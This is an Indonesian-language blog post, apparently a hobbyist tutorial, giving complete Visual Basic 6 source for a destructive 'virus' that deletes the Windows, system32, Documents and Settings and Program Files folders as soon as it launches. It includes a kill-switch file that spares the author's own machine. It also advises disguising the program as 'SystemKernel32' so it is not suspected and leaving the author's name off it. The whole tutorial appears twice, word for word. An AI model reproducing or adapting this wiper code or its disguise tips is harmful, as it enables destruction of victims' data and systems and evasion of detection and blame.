Di bawah ini tutorial untuk membuat virus yang rada mematikan, tapi simple, dan sepertinya ga bakal kedekteksi antivirus, soalnya cara kerjanya simple banget.
Yang diperlukan:
1. VB(optimal : 6.0)
2. Mengerti menggunakan VB
Tutorial Bikin Virus cman 1 mnt
1. buat form sekecil mungkin
2. Didalam form itu, masukan kode dibawah ini :
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg warna biru itu untuk menangkal ini virus, barang kali kamu ga sengaja menekan jadi kamu selamat, jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, kamu ga bakal keserang sendiri… bisa kamu edit jadi apa yang kamu mau. Yang warna merah itu folder yang bakal didelete sama ini virus, bisa kamu edit sendiri.
4. Buat ini project namanya seperti nama system, disini saya memakai nama “SystemKernel32″ jadi tidak bakal dicurigai.. hehhehe
5. Jangan pernah taruh nama kamu di virus ini
6. selesai.
Yang diperlukan:
1. VB(optimal : 6.0)
2. Mengerti menggunakan VB
Tutorial Bikin Virus cman 1 mnt
1. buat form sekecil mungkin
2. Didalam form itu, masukan kode dibawah ini :
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg warna biru itu untuk menangkal ini virus, barang kali kamu ga sengaja menekan jadi kamu selamat, jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, kamu ga bakal keserang sendiri… bisa kamu edit jadi apa yang kamu mau. Yang warna merah itu folder yang bakal didelete sama ini virus, bisa kamu edit sendiri.
4. Buat ini project namanya seperti nama system, disini saya memakai nama “SystemKernel32″ jadi tidak bakal dicurigai.. hehhehe
5. Jangan pernah taruh nama kamu di virus ini
6. selesai.
0 komentar:
Posting Komentar